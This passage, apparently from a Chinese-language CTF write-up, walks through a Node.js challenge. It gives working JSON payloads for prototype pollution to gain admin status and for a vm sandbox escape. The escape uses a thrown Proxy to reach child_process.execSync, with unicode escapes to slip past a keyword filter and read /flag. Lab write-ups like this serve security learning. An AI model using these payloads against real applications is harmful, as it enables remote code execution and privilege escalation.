    "username": "myUser1",
    "password": "mypassword"
    }

  • 登录

    原型链污染给admins.myUser1 = true 使username in admins成立

    {
    "username": "myUser1",
    "password": "mypassword",
    "constructor": {"prototype": {"myUser1": true}}
    }

  • 沙箱逃逸

    在沙箱内可以通过 throw 来抛出一个对象 这个对象会被沙箱外的 catch 语句捕获 然后会访问它的 message 属性 (即 e.message) 通过 JavaScript 的 Proxy 类或对象的 defineGetter方法来设置一个 getter 使得在沙箱外访问 e 的 message 属性 (即 e.message) 时能够调用某个函数 ,关键部分用unicode绕过

    {
    "code": "throw new Proxy({}, { get: function(target, prop) { const cc = arguments.callee.caller; const p = (cc.constructor.constructor('return process'))(); return p.mainModule.require('child_process').execSync('whoami').toString(); } });"
    }

  • 最终payload"code": "throw new Proxy({}, { get: function(target, prop) { const cc = arguments.callee.caller; const p = (cc.\\u0063onstructor.\\u0063onstructor('return pro\\u0063ess'))(); return p.m\\u0061inModule.requir\\u0065('child_pro\\u0063ess').exe\\u0063Sync('cat /flag').toString(); } });"